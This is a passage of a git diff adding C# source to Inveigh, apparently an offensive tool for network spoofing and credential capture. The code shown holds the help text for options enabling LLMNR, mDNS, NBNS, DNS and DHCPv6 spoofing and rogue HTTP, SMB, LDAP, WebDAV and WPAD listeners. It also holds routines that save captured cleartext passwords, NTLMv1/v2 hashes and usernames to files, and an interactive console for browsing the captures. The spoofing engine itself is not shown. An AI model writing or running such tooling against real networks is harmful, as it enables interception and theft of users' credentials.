+ Console.WriteLine("Spoofers:");
+ Console.WriteLine("");
+ }
+
+ if (nullarg || string.Equals(arg, "DHCPV6"))
+ {
+ string argument = "DHCPV6";
+ string description = "Default=Disabled: (Y/N) DHCPv6 spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "DHCPV6TTL"))
+ {
+ string argument = "DHCPv6TTL";
+ string description = "Default=300: Lease lifetime in seconds.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "DNS"))
+ {
+ string argument = "DNS";
+ string description = "Default=Enabled: (Y/N) DNS spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "DNSHOST"))
+ {
+ string argument = "DNSHost";
+ string description = "Fully qualified hostname to use SOA/SRV responses.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "DNSSRV"))
+ {
+ string argument = "DNSSRV";
+ string description = "Default=LDAP: Comma separated list of SRV request services to answer.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "DNSSUFFIX"))
+ {
+ string argument = "DNSSuffix";
+ string description = "DNS search suffix to include in DHCPv6/ICMPv6 packets.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "DNSTTL"))
+ {
+ string argument = "DNSTTL";
+ string description = "Default=30: DNS TTL in seconds.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "DNSTYPES"))
+ {
+ string argument = "DNSTYPES";
+ string description = "Default=A: (A, SOA, SRV) Comma separated list of DNS types to spoof.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "ICMPV6"))
+ {
+ string argument = "ICMPv6";
+ string description = "Default=Enabled: (Y/N) sending ICMPv6 RAs for DHCPv6, secondary IPv6 DNS, or DNS search suffix.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "ICMPV6INTERVAL"))
+ {
+ string argument = "ICMPv6Interval";
+ string description = "Default=200: ICMPv6 RA interval in seconds.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "ICMPV6TTL"))
+ {
+ string argument = "ICMPV6TTL";
+ string description = "Default=1800: ICMPv6 TTL in seconds.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "IGNOREDOMAINS"))
+ {
+ string argument = "IgnoreDomains";
+ string description = "Default=None: Comma separated list of domains to ignore when spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "IGNOREHOSTS"))
+ {
+ string argument = "IgnoreHosts";
+ string description = "Default=None: Comma separated list of hostnames to ignore when spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "IGNOREIPS"))
+ {
+ string argument = "IgnoreIPs";
+ string description = "Default=Local: Comma separated list of source IP addresses to ignore when spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "IGNOREMACS"))
+ {
+ string argument = "IgnoreMACs";
+ string description = "Default=Local: Comma separated list of MAC addresses to ignore when DHCPv6 spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LOCAL"))
+ {
+ string argument = "Local";
+ string description = "Default=Disabled: (Y/N) performing spoofing attacks against the host system.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LLMNR"))
+ {
+ string argument = "LLMNR";
+ string description = "Default=Enabled: (Y/N) LLMNR spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LLMNRTTL"))
+ {
+ string argument = "LLMNRTTL";
+ string description = "Default=30: LLMNR TTL in seconds.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "MAC"))
+ {
+ string argument = "MAC";
+ string description = "Local MAC address for DHCPv6.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "MDNS"))
+ {
+ string argument = "MDNS";
+ string description = "Default=Enabled: (Y/N) mDNS spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "MDNSQuestions"))
+ {
+ string argument = "MDNSQuestions";
+ string description = "Default=QU,QM: Comma separated list of question types to spoof. (QU,QM)";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "MDNSTTL"))
+ {
+ string argument = "MDNSTTL";
+ string description = "Default=120: mDNS TTL in seconds.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "MDNSTYPES"))
+ {
+ string argument = "MDNSTypes";
+ string description = "Default=A: Comma separated list of mDNS record types to spoof. (A,AAAA,ANY)";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "MDNSUNICAST"))
+ {
+ string argument = "MDNSUnicast";
+ string description = "Default=Enabled: (Y/N) sending a unicast only response to a QM request.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "NBNS"))
+ {
+ string argument = "NBNS";
+ string description = "Default=Disabled: (Y/N) NBNS spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "NBNSTTL"))
+ {
+ string argument = "NBNSTTL";
+ string description = "Default=165: NBNS TTL in seconds.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "NBNSTYPES"))
+ {
+ string argument = "NBNSTypes";
+ string description = "Default=00,20: Comma separated list of NBNS types to spoof. (00,03,20,1B)";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "REPLYTODOMAINS"))
+ {
+ string argument = "ReplyToDomains";
+ string description = "Default=All: Comma separated list of domains to respond to when spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "REPLYTOHOSTS"))
+ {
+ string argument = "ReplyToHosts";
+ string description = "Default=All: Comma separated list of hostnames to respond to when spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "REPLYTOIPS"))
+ {
+ string argument = "ReplyToIPs";
+ string description = "Default=All: Comma separated list of source IP addresses to respond to when spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "REPLYTOMACS"))
+ {
+ string argument = "ReplyToMACs";
+ string description = "Default=All: Comma separated list of MAC addresses to respond to when DHCPv6 spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "SPOOFERIP"))
+ {
+ string argument = "SpooferIP";
+ string description = "Default=Autoassign: IP address included in spoofing responses.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "SPOOFERIPV6"))
+ {
+ string argument = "SpooferIPv6";
+ string description = "Default=Autoassign: IPv6 address included in spoofing responses.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "REPEAT"))
+ {
+ string argument = "Repeat";
+ string description = "Default=Enabled: (Y/N) repeated spoofing attacks against a system after NetNTLM capture.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg)
+ {
+ Console.WriteLine();
+ Console.WriteLine("Capture:");
+ Console.WriteLine("");
+ }
+
+ if (nullarg || string.Equals(arg, "CERT"))
+ {
+ string argument = "Cert";
+ string description = "Base64 certificate for TLS.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "CERTPASSWORD"))
+ {
+ string argument = "CertPassword";
+ string description = "Base64 certificate password for TLS.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "CHALLENGE"))
+ {
+ string argument = "Challenge";
+ string description = "Default=Random per request: 16 character hex NetNTLM challenge for use with the TCP listeners.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "HTTP"))
+ {
+ string argument = "HTTP";
+ string description = "Default=Enabled: (Y/N) HTTP listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "HTTPAUTH"))
+ {
+ string argument = "HTTPAuth";
+ string description = "Default=NTLM: (Anonymous/Basic/NTLM) HTTP/HTTPS listener authentication.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "HTTPPORTS"))
+ {
+ string argument = "HTTPPorts";
+ string description = "Default=80: Comma seperated list of TCP ports for the HTTP listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "HTTPREALM"))
+ {
+ string argument = "HTTPRealm";
+ string description = "Default=ADFS: Basic authentication realm.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "HTTPRESPONSE"))
+ {
+ string argument = "HTTPResponse";
+ string description = "Content to serve as the default HTTP/HTTPS/Proxy response.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "HTTPS"))
+ {
+ string argument = "HTTPS";
+ string description = "Default=Enabled: (Y/N) HTTPS listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "HTTPSPORTS"))
+ {
+ string argument = "HTTPSPorts";
+ string description = "Default=443: Comma separated list of TCP ports for the HTTPS listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "IGNOREAGENTS"))
+ {
+ string argument = "IgnoreAgents";
+ string description = "Default=Firefox: Comma separated list of HTTP user agents to ignore with wpad anmd proxy auth.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LDAP"))
+ {
+ string argument = "LDAP";
+ string description = "Default=Enabled: (Y/N) LDAP listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LDAPPORTS"))
+ {
+ string argument = "LDAPPorts";
+ string description = "Default=389: Comma separated list of TCP ports for the LDAP listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LISTENERIP"))
+ {
+ string argument = "ListenerIP";
+ string description = "Default=Any: IP address for all listeners.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LISTENERIPV6"))
+ {
+ string argument = "ListenerIPv6";
+ string description = "Default=Any: IPv6 address for all listeners.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "MACHINEACCOUNTS"))
+ {
+ string argument = "Machines";
+ string description = "Default=Disabled: (Y/N) machine account NetNTLM captures.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "PROXY"))
+ {
+ string argument = "Proxy";
+ string description = "Default=Disabled: (Y/N) proxy listener authentication captures.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "PROXYAUTH"))
+ {
+ string argument = "ProxyAuth";
+ string description = "Default=NTLM: (Basic/NTLM) Proxy authentication.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "PROXYPORT"))
+ {
+ string argument = "ProxyPort";
+ string description = "Default=8492: Port for the proxy listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "SMB"))
+ {
+ string argument = "SMB";
+ string description = "Default=Enabled: (Y/N) SMB sniffer/listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "SMBPORTS"))
+ {
+ string argument = "SMBPorts";
+ string description = "Default=445: Port for the SMB listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "SNIFFERIP"))
+ {
+ string argument = "SnifferIP";
+ string description = "Default=Autoassign: IP address included in spoofing responses.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "SNIFFERIPV6"))
+ {
+ string argument = "SnifferIPv6";
+ string description = "Default=Autoassign: IPv6 address included in spoofing responses.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "WEBDAV"))
+ {
+ string argument = "WebDAV";
+ string description = "Default=Enabled: (Y/N) serving WebDAV over HTTP/HTTPS listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "WEBDAVAUTH"))
+ {
+ string argument = "WebDAVAuth";
+ string description = "Default=NTLM: (Anonymous/Basic/NTLM) WebDAV authentication.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "WPADAUTH"))
+ {
+ string argument = "WPADAuth ";
+ string description = "Default=Enabled: (Y/N) authentication type for wpad.dat requests. (Anonymous/Basic/NTLM)";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "WPADRESPONSE"))
+ {
+ string argument = "WPADResponse";
+ string description = "Default=Autogenerated: Contents of wpad.dat responses.";
+ OutputHelp(argument, description);
+ }
+
+ Console.WriteLine();
+ }
+
+ public static void ProcessOutput()
+ {
+
+ while (Program.outputList.Count > 0)
+ {
+ if (Program.console == 3)
+ {
+ Program.consoleList.Add(Program.outputList[0]);
+ }
+
+ if (Program.console == 2 && (Program.outputList[0].StartsWith("[*]") || Program.outputList[0].StartsWith("[+]") || Program.outputList[0].StartsWith("[-]") || !Program.outputList[0].StartsWith("[")))
+ {
+ Program.consoleList.Add(Program.outputList[0]);
+ }
+
+ if (Program.console == 1 && (Program.outputList[0].StartsWith("[*]") || Program.outputList[0].StartsWith("[+]") || !Program.outputList[0].StartsWith("[")))
+ {
+ Program.consoleList.Add(Program.outputList[0]);
+ }
+
+ if (Program.enabledLogOutput)
+ {
+ Program.logList.Add(Program.outputList[0]);
+ }
+
+ if (Program.outputList[0].Contains(" captured for ") && !Program.outputList[0].EndsWith("[not unique]"))
+ {
+ Program.logFileList.Add(string.Concat(Program.outputList[0].Split('\n')[0].Replace(":\r"," "), "[redacted]"));
+ }
+ else
+ {
+ Program.logFileList.Add(Program.outputList[0]);
+ }
+
+ lock (Program.outputList)
+ {
+ Program.outputList.RemoveAt(0);
+ }
+
+ }
+
+ if (!Program.enabledConsoleOutput && Program.consoleQueueLimit >= 0)
+ {
+
+ while (Program.consoleList.Count > Program.consoleQueueLimit && !Program.enabledConsoleOutput)
+ {
+ Program.consoleList.RemoveAt(0);
+ }
+
+ }
+
+ }
+
+ public static void ProcessFileOutput()
+ {
+
+ while (Program.logFileList.Count > 0)
+ {
+
+ using (StreamWriter outputFileLog = new StreamWriter(Path.Combine(Program.argFileDirectory, string.Concat(Program.argFilePrefix, "-Log.txt")), true))
+ {
+ outputFileLog.WriteLine(Program.logFileList[0]);
+ outputFileLog.Close();
+
+ lock (Program.logFileList)
+ {
+ Program.logFileList.RemoveAt(0);
+ }
+
+ }
+
+ }
+
+ while (Program.cleartextFileList.Count > 0)
+ {
+
+ using (StreamWriter outputFileCleartext = new StreamWriter(Path.Combine(Program.argFileDirectory, string.Concat(Program.argFilePrefix, "-Cleartext.txt")), true))
+ {
+ outputFileCleartext.WriteLine(Program.cleartextFileList[0]);
+ outputFileCleartext.Close();
+
+ lock (Program.cleartextFileList)
+ {
+ Program.cleartextFileList.RemoveAt(0);
+ }
+
+ }
+
+ }
+
+ while (Program.ntlmv1FileList.Count > 0)
+ {
+
+ using (StreamWriter outputFileNTLMv1 = new StreamWriter(Path.Combine(Program.argFileDirectory, string.Concat(Program.argFilePrefix, "-NTLMv1.txt")), true))
+ {
+ outputFileNTLMv1.WriteLine(Program.ntlmv1FileList[0]);
+ outputFileNTLMv1.Close();
+
+ lock (Program.ntlmv1FileList)
+ {
+ Program.ntlmv1FileList.RemoveAt(0);
+ }
+
+ }
+
+ }
+
+ while (Program.ntlmv2FileList.Count > 0)
+ {
+
+ using (StreamWriter outputFileNTLMv2 = new StreamWriter(Path.Combine(Program.argFileDirectory, string.Concat(Program.argFilePrefix, "-NTLMv2.txt")), true))
+ {
+ outputFileNTLMv2.WriteLine(Program.ntlmv2FileList[0]);
+ outputFileNTLMv2.Close();
+
+ lock (Program.ntlmv2FileList)
+ {
+ Program.ntlmv2FileList.RemoveAt(0);
+ }
+
+ }
+
+ }
+
+ while (Program.ntlmv1UsernameFileList.Count > 0)
+ {
+
+ using (StreamWriter outputUsernameFileNTLMv1 = new StreamWriter(Path.Combine(Program.argFileDirectory, string.Concat(Program.argFilePrefix, "-NTLMv1Users.txt")), true))
+ {
+ outputUsernameFileNTLMv1.WriteLine(Program.ntlmv1UsernameFileList[0]);
+ outputUsernameFileNTLMv1.Close();
+
+ lock (Program.ntlmv1UsernameList)
+ {
+ Program.ntlmv1UsernameFileList.RemoveAt(0);
+ }
+
+ }
+
+ }
+
+ while (Program.ntlmv2UsernameFileList.Count > 0)
+ {
+
+ using (StreamWriter outputUsernameFileNTLMv2 = new StreamWriter(Path.Combine(Program.argFileDirectory, string.Concat(Program.argFilePrefix, "-NTLMv2Users.txt")), true))
+ {
+ outputUsernameFileNTLMv2.WriteLine(Program.ntlmv2UsernameFileList[0]);
+ outputUsernameFileNTLMv2.Close();
+
+ lock (Program.ntlmv2UsernameFileList)
+ {
+ Program.ntlmv2UsernameFileList.RemoveAt(0);
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Support/Shell.cs b/Inveigh/Support/Shell.cs
new file mode 100644
index 0000000..5f4d8b0
--- /dev/null
+++ b/Inveigh/Support/Shell.cs
@@ -0,0 +1,760 @@
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.Linq;
+using System.Text;
+using System.Threading;
+
+namespace Inveigh
+{
+ class Shell
+ {
+ internal static int cursorLength;
+ internal static StringBuilder builder = new StringBuilder();
+
+ public static void ConsoleLoop()
+ {
+ int x = Console.CursorLeft;
+ int y = Console.CursorTop;
+ Program.enabledConsoleOutput = false;
+ ConsolePrompt();
+
+ List<string> commandList = new List<string>
+ {
+ "get console",
+ "get dhcpv6leases",
+ "get log",
+ "get ntlmv1",
+ "get ntlmv2",
+ "get ntlmv1unique",
+ "get ntlmv2unique",
+ "get ntlmv1usernames",
+ "get ntlmv2usernames",
+ "get cleartext",
+ "get cleartextunique",
+ "history",
+ "resume",
+ "stop"
+ };
+
+ commandList.Sort();
+ ConsoleKeyInfo input = Console.ReadKey(intercept: true);
+ int i = 0;
+
+ while (input.Key != ConsoleKey.Enter && input.Key != ConsoleKey.Escape)
+ {
+
+ if (input.Key == ConsoleKey.Tab)
+ {
+ KeypressTab(builder, commandList, ref input);
+
+ if (input.Key == ConsoleKey.Enter)
+ {
+
+ if (builder.Length > 0 && builder.ToString().Replace(" ", "").Length > 0 && commandList.Any(builder.ToString().Contains))
+ {
+ Program.commandHistoryList.Add(builder.ToString());
+ }
+
+ Program.isCleartextUpdated = false;
+ Program.isNTLMv1Updated = false;
+ Program.isNTLMv2Updated = false;
+ Program.isCleartextUniqueUpdated = false;
+ Program.isNTLMv1UniqueUpdated = false;
+ Program.isNTLMv2UniqueUpdated = false;
+
+ ClearCurrentLineFull();
+ break;
+ }
+
+ }
+ else if (input.Key == ConsoleKey.DownArrow && Program.commandHistoryList.Count > 0)
+ {
+
+ if (i < 0 || i >= Program.commandHistoryList.Count - 1)
+ {
+ i = 0;
+ }
+
+ if (Program.commandHistoryList.Count > i && string.Equals(Program.commandHistoryList[i], builder.ToString()))
+ {
+ i++;
+ }
+
+ if (Program.commandHistoryList.Count > i)
+ {
+ ClearCurrentLine();
+ Console.Write(Program.commandHistoryList[i]);
+ builder = new StringBuilder(Program.commandHistoryList[i]);
+ i++;
+ }
+
+
+ }
+ else if (input.Key == ConsoleKey.UpArrow && Program.commandHistoryList.Count > 0)
+ {
+
+ if (i <= 0)
+ {
+ i = Program.commandHistoryList.Count - 1;
+ }
+
+
+ if (i > 0 && Program.commandHistoryList.Count > i && string.Equals(Program.commandHistoryList[i], builder.ToString()))
+ {
+ i--;
+ }
+
+ if (Program.commandHistoryList.Count > i)
+ {
+ ClearCurrentLine();
+ Console.Write(Program.commandHistoryList[i]);
+ builder = new StringBuilder(Program.commandHistoryList[i]);
+ i--;
+ }
+
+ }
+ else
+ {
+ Keypress(builder, input);
+ }
+
+ input = Console.ReadKey(intercept: true);
+ }
+
+ if (input.Key == ConsoleKey.Escape)
+ {
+ Program.isCleartextUpdated = false;
+ Program.isNTLMv1Updated = false;
+ Program.isNTLMv2Updated = false;
+ Program.isCleartextUniqueUpdated = false;
+ Program.isNTLMv1UniqueUpdated = false;
+ Program.isNTLMv2UniqueUpdated = false;
+ ClearCurrentLineFull();
+ Program.enabledConsoleOutput = true;
+ }
+
+ if (input.Key == ConsoleKey.Enter)
+ {
+
+ if (builder.Length > 0 && builder.ToString().Replace(" ", "").Length > 0 && commandList.Any(builder.ToString().Contains))
+ {
+ Program.commandHistoryList.Remove(builder.ToString());
+ Program.commandHistoryList.Add(builder.ToString());
+ }
+
+ Program.isCleartextUpdated = false;
+ Program.isNTLMv1Updated = false;
+ Program.isNTLMv2Updated = false;
+ Program.isCleartextUniqueUpdated = false;
+ Program.isNTLMv1UniqueUpdated = false;
+ Program.isNTLMv2UniqueUpdated = false;
+ ClearCurrentLineFull();
+ }
+
+ string inputCommand = builder.ToString();
+ Commands(inputCommand);
+ Thread.Sleep(5);
+ }
+
+ public static void ConsolePrompt()
+ {
+ cursorLength = 26 + Program.cleartextCount.ToString().Length + Program.cleartextUniqueCount.ToString().Length + Program.ntlmv1UniqueCount.ToString().Length + Program.ntlmv2UniqueCount.ToString().Length + Program.ntlmv1Count.ToString().Length + Program.ntlmv2Count.ToString().Length;
+ Console.CursorTop = Console.WindowTop + Console.WindowHeight - 1;
+ if (Program.isCleartextUniqueUpdated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write("C");
+ Console.ResetColor();
+ Console.Write("(");
+ if (Program.isCleartextUniqueUpdated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write(Program.cleartextUniqueCount);
+ Console.ResetColor();
+ Console.Write(":");
+ if (Program.isCleartextUpdated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write(Program.cleartextCount);
+ Console.ResetColor();
+ Console.Write(") ");
+ if (Program.isNTLMv1UniqueUpdated || Program.isNTLMv1Updated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write("NTLMv1");
+ Console.ResetColor();
+ Console.Write("(");
+ if (Program.isNTLMv1UniqueUpdated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write(Program.ntlmv1UniqueCount);
+ Console.ResetColor();
+ Console.Write(":");
+ if (Program.isNTLMv1Updated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write(Program.ntlmv1Count);
+ Console.ResetColor();
+ Console.Write(") ");
+ if (Program.isNTLMv2UniqueUpdated || Program.isNTLMv2Updated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write("NTLMv2");
+ Console.ResetColor();
+ Console.Write("(");
+ if (Program.isNTLMv2UniqueUpdated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write(Program.ntlmv2UniqueCount);
+ Console.ResetColor();
+ Console.Write(":");
+ if (Program.isNTLMv2Updated) Console.ForegroundColor = Program.colorPositive;
+ Console.Write(Program.ntlmv2Count);
+ Console.ResetColor();
+ Console.Write(")> ");
+ }
+
+ // https://stackoverflow.com/a/8946847/1188513
+ public static void ClearCurrentLine()
+ {
+ cursorLength = 26 + Program.cleartextCount.ToString().Length + Program.cleartextUniqueCount.ToString().Length + Program.ntlmv1UniqueCount.ToString().Length + Program.ntlmv2UniqueCount.ToString().Length + Program.ntlmv1Count.ToString().Length + Program.ntlmv2Count.ToString().Length;
+ int currentLine = Console.CursorTop;
+ Console.SetCursorPosition(cursorLength, Console.CursorTop);
+ Console.Write(new string(' ', Console.WindowWidth - cursorLength - 1));
+ Console.SetCursorPosition(cursorLength, currentLine);
+ }
+
+ public static void RefreshCurrentLine()
+ {
+ cursorLength = 26 + Program.cleartextCount.ToString().Length + Program.cleartextUniqueCount.ToString().Length + Program.ntlmv1UniqueCount.ToString().Length + Program.ntlmv2UniqueCount.ToString().Length + Program.ntlmv1Count.ToString().Length + Program.ntlmv2Count.ToString().Length;
+ int currentLine = Console.CursorTop;
+ Console.SetCursorPosition(0, Console.CursorTop);
+ Console.Write(new string(' ', cursorLength));
+ Console.SetCursorPosition(0, currentLine);
+ ConsolePrompt();
+ Console.SetCursorPosition(cursorLength + builder.Length, currentLine);
+ }
+
+ public static void ClearCurrentLineFull()
+ {
+ var currentLine = Console.CursorTop;
+ Console.SetCursorPosition(0, Console.CursorTop);
+ Console.Write(new string(' ', Console.WindowWidth - 1));
+ Console.SetCursorPosition(0, currentLine);
+ }
+
+ // https://codereview.stackexchange.com/questions/139172/autocompleting-console-input
+ public static void KeypressTab(StringBuilder builder, List<string> data, ref ConsoleKeyInfo input)
+ {
+ string currentInput = builder.ToString();
+ List<string> matches = data.FindAll(item => item != currentInput && item.StartsWith(currentInput, true, CultureInfo.InvariantCulture));
+
+ if (matches.Count == 0)
+ {
+ return;
+ }
+
+ int i = 0;
+
+ while (input.Key == ConsoleKey.Tab)
+ {
+
+ if (!string.IsNullOrEmpty(matches[i]))
+ {
+ ClearCurrentLine();
+ builder.Length = 0;
+ Console.Write(matches[i]);
+ builder.Append(matches[i]);
+ }
+
+ if (i == matches.Count - 1)
+ {
+ i = 0;
+ }
+ else
+ {
+ i++;
+ }
+
+ if (input.Key != ConsoleKey.Tab)
+ {
+ return;
+ }
+
+ input = Console.ReadKey(intercept: true);
+ }
+
+ }
+
+ public static void Keypress(StringBuilder builder, ConsoleKeyInfo input)
+ {
+ string currentInput = builder.ToString();
+ int cursorLeft = Console.CursorLeft;
+
+ if (input.Key == ConsoleKey.Backspace)
+ {
+
+ if (currentInput.Length > 0)
+ {
+ if (cursorLeft < cursorLength + builder.Length)
+ {
+ builder.Remove(cursorLeft - cursorLength + 1, 1);
+ currentInput = builder.ToString();
+ }
+ else
+ {
+ builder.Remove(builder.Length - 1, 1);
+ currentInput = builder.ToString();
+ }
+
+ ClearCurrentLine();
+ Console.Write(currentInput);
+ Console.SetCursorPosition(cursorLeft - 1, Console.CursorTop);
+ }
+
+ }
+ else if (input.Key == ConsoleKey.LeftArrow)
+ {
+
+ if (cursorLeft > cursorLength)
+ {
+ Console.SetCursorPosition(cursorLeft - 1, Console.CursorTop);
+ }
+
+ }
+ else if (input.Key == ConsoleKey.RightArrow)
+ {
+
+ if (cursorLeft < cursorLength + builder.Length)
+ {
+ Console.SetCursorPosition(cursorLeft + 1, Console.CursorTop);
+ }
+
+ }
+ else if (input.Key == ConsoleKey.Delete)
+ {
+
+ if (currentInput.Length > 0)
+ {
+ if (cursorLeft < cursorLength + builder.Length)
+ {
+ builder.Remove(cursorLeft - cursorLength, 1);
+ currentInput = builder.ToString();
+ }
+
+ ClearCurrentLine();
+ Console.Write(currentInput);
+ Console.SetCursorPosition(cursorLeft, Console.CursorTop);
+ }
+
+ }
+ else if (input.Key == ConsoleKey.F5)
+ {
+ RefreshCurrentLine();
+ }
+ else
+ {
+ char key = input.KeyChar;
+
+ if (cursorLeft < builder.Length + cursorLength)
+ {
+ builder.Insert(Console.CursorLeft - cursorLength, key.ToString(), 1);
+ currentInput = builder.ToString();
+ ClearCurrentLine();
+ Console.Write(currentInput);
+ Console.SetCursorPosition(cursorLeft, Console.CursorTop);
+ }
+ else
+ {
+ builder.Append(key);
+ Console.Write(key);
+ }
+
+ }
+
+ }
+
+ public static void Commands(string inputCommand)
+ {
+ string[] inputArray = inputCommand.Split(' ');
+ string search = "";
+
+ if (!Utilities.ArrayIsNullOrEmpty(inputArray) && inputArray.Length == 3)
+ {
+ inputCommand = string.Concat(inputArray[0], " ", inputArray[1]);
+ search = inputArray[2];
+ }
+
+ inputCommand = inputCommand.ToUpper();
+
+ switch (inputCommand)
+ {
+
+ case "GET CONSOLE":
+
+ while (Program.consoleList.Count > 0)
+ {
+ Output.ConsoleOutputFormat(Program.consoleList[0]);
+ Program.consoleList.RemoveAt(0);
+ }
+
+ break;
+
+ case "GET LOG":
+ GetLog(search);
+ break;
+
+ case "GET CLEARTEXT":
+ GetCleartext(search);
+ break;
+
+ case "GET CLEARTEXTUNIQUE":
+ GetCleartextUnique(search);
+ break;
+
+ case "GET DHCPV6LEASES":
+ GetDHCPv6Leases(search);
+ break;
+
+ case "GET NTLMV1":
+ GetNTLMv1(search);
+ break;
+
+ case "GET NTLMV1UNIQUE":
+ GetNTLMv1Unique(search);
+ break;
+
+ case "GET NTLMV1USERNAMES":
+ GetNTLMv1Usernames(search);
+ break;
+
+ case "GET NTLMV2":
+ GetNTLMv2(search);
+ break;
+
+ case "GET NTLMV2UNIQUE":
+ GetNTLMv2Unique(search);
+ break;
+
+ case "GET NTLMV2USERNAMES":
+ GetNTLMv2Usernames(search);
+ break;
+
+ case "GET SPOOFERReplyToHosts":
+ foreach (string entry in Program.argReplyToHosts)
+ Console.WriteLine(entry);
+ break;
+
+ case "GET SPOOFERHOSTSDENY":
+ foreach (string entry in Program.argIgnoreHosts)
+ Console.WriteLine(entry);
+ break;
+
+ case "GET SPOOFERReplyToIPs":
+ foreach (string entry in Program.argReplyToHosts)
+ Console.WriteLine(entry);
+ break;
+
+ case "GET SPOOFERIPSDENY":
+ foreach (string entry in Program.argIgnoreHosts)
+ Console.WriteLine(entry);
+ break;
+
+ case "?":
+ case "HELP":
+ GetHelp();
+ break;
+
+ case "RESUME":
+ Program.enabledConsoleOutput = true;
+ break;
+
+ case "HISTORY":
+ {
+ int index = 1;
+
+ foreach (string item in Program.commandHistoryList)
+ {
+ if (!string.IsNullOrEmpty(item))
+ {
+ Console.WriteLine(index + " " + item);
+ index++;
+ }
+ }
+ }
+ break;
+
+ case "STOP":
+ ClearCurrentLineFull();
+ Program.isRunning = false;
+ Control.StopInveigh();
+ break;
+
+ case "":
+ break;
+
+ default:
+ Console.WriteLine("Invalid Command");
+ break;
+ }
+
+ builder = new StringBuilder();
+ }
+
